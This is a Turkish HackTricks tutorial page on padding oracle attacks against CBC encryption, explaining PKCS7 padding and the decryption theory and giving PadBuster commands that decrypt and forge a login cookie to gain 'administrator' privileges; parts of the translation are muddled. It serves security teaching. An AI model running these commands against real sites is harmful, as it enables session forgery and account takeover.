hacktricks/cryptography/padding-oracle-priv.md

8.8 KiB
Raw Blame History

{% hint style="success" %} Öğren ve AWS Hacking pratiği yap:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
Öğren ve GCP Hacking pratiği yap: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekle
{% endhint %}

CBC - Cipher Block Chaining

CBC modunda önceki şifrelenmiş blok IV olarak kullanılır ve bir sonraki blokla XOR işlemi yapılır:

https://defuse.ca/images/cbc_encryption.png

CBC'yi şifrelemek için zıt işlemler yapılır:

https://defuse.ca/images/cbc_decryption.png

Dikkat edilmesi gereken şifreleme anahtarı ve IV kullanılmasıdır.

Mesaj Dolgusu

Şifreleme sabit boyutlu bloklarda gerçekleştirildiği için genellikle son bloğu tamamlamak için dolgu gereklidir.
Genellikle PKCS7 kullanılır, bu da bloğu tamamlamak için gereken byte sayısını tekrarlayan bir dolgu oluşturur. Örneğin, son blokta 3 byte eksikse, dolgu \x03\x03\x03 olacaktır.

8 byte uzunluğunda 2 blok için daha fazla örneklerimize bakalım:

byte #0 byte #1 byte #2 byte #3 byte #4 byte #5 byte #6 byte #7 byte #0 byte #1 byte #2 byte #3 byte #4 byte #5 byte #6 byte #7
P A S S W O R D 1 2 3 4 5 6 0x02 0x02
P A S S W O R D 1 2 3 4 5 0x03 0x03 0x03
P A S S W O R D 1 2 3 0x05 0x05 0x05 0x05 0x05
P A S S W O R D 0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08

Son örnekte son bloğun dolu olduğuna dikkat edin, bu yüzden sadece dolgu ile başka bir blok oluşturuldu.

Padding Oracle

Bir uygulama şifrelenmiş verileri şifre çözme işleminden sonra önce veriyi şifre çözecek; ardından dolguyu kaldıracaktır. Dolgu temizliği sırasında, geçersiz bir dolgu algılanabilir bir davranışı tetiklerse, bir padding oracle açığı oluşur. Algılanabilir davranış bir hata, sonuçların eksikliği veya daha yavaş bir yanıt olabilir.

Bu davranışı tespit ederseniz, şifrelenmiş verileri şifre çözebilir ve hatta herhangi bir açık metni şifreleyebilirsiniz.

Nasıl sömürülür

Bu tür bir açığı sömürmek için https://github.com/AonCyberLabs/PadBuster kullanabilir veya sadece devam edebilirsiniz.

sudo apt-get install padbuster

Bir sitenin çerezinin savunmasız olup olmadığını test etmek için şunları deneyebilirsiniz:

perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="

Kodlama 0, base64'ün kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsünü kontrol edin).

Bu zafiyeti yeni verileri şifrelemek için de kötüye kullanabilirsiniz. Örneğin, çerezin içeriğinin "user=MyUsername**" olduğunu varsayalım, sonra bunu "_user=administrator_" olarak değiştirebilir ve uygulama içinde ayrıcalıkları yükseltebilirsiniz. Ayrıca, -plaintext parametresini belirterek paduster kullanarak da yapabilirsiniz:

perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"

Eğer site savunmasızsa, padbuster otomatik olarak dolgu hatası meydana geldiğinde bulmaya çalışacaktır, ancak ayrıca hata mesajını belirtmek için -error parametresini de kullanabilirsiniz.

perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"

Teori

Özetle, şifrelenmiş verileri şifresini çözmeye başlayabilirsiniz, doğru değerleri tahmin ederek farklı dolguları oluşturmak için kullanılabilecek. Ardından, dolgu oracle saldırısı, hangisinin doğru değeri olacağını tahmin ederek 1, 2, 3 vb. dolgu oluşturan doğru değeri tahmin ederek baştan sona doğru baytları şifrelemeye başlayacaktır.

E0'den E15'e kadar olan baytlar tarafından oluşturulan 2 bloktan oluşan bazı şifrelenmiş metinler olduğunu hayal edin.
Son bloğu (E8 ile E15) şifrelemek için, tüm blok "blok şifre çözme" işleminden geçer ve ara baytlar I0'dan I15'e oluşturur.
Son olarak, her ara bayt önceki şifrelenmiş baytlarla (E0'dan E7'ye) XOR edilir. Yani:

  • C15 = D(E15) ^ E7 = I15 ^ E7
  • C14 = I14 ^ E6
  • C13 = I13 ^ E5
  • C12 = I12 ^ E4
  • ...

Şimdi, C15 0x01 olduğunda E7 değiştirilebilir ve bu da doğru bir dolgu olacaktır. Bu durumda: \x01 = I15 ^ E'7

Bu nedenle, E'7 bulunduğunda, I15 hesaplanabilir: I15 = 0x01 ^ E'7

Bu bize C15'i hesaplama olanağı sağlar: C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7

C15 bilindiğine göre, şimdi C14 hesaplanabilir, ancak bu sefer \x02\x02 dolgusunu kaba kuvvet uygulayarak.

Bu BF, öncekiyle aynı kadar karmaşıktır çünkü 0x02 değerine sahip E''15'i hesaplamak mümkündür: E''7 = \x02 ^ I15 bu yüzden sadece **C140x02'ye eşit olan E'14'ü bulmak gereklidir.
Sonra, C14'ü şifrelemek için aynı adımları uygulayın: C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6

Tüm şifreli metni çözmek için bu zinciri takip edin.

Zafiyetin Tespiti

Bir hesap kaydedin ve bu hesapla oturum açın.
Eğer çok kez oturum açarsanız ve her zaman aynı çerezi alırsanız, uygulamada muhtemelen bir sorun var demektir. Geri gönderilen çerez her oturum açtığınızda benzersiz olmalıdır. Eğer çerez her zaman aynıysa, muhtemelen her zaman geçerli olacak ve geçersiz kılacak bir yol olmayacaktır.

Şimdi, çerezi değiştirmeyi denerseniz, uygulamadan bir hata aldığınızı görebilirsiniz.
Ancak dolgu (örneğin padbuster kullanarak) kaba kuvvet uygularsanız, farklı bir kullanıcı için geçerli başka bir çerez elde edebilirsiniz. Bu senaryo büyük olasılıkla padbuster'a karşı savunmasızdır.

Referanslar

{% hint style="success" %} AWS Hacking öğrenin ve uygulayın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}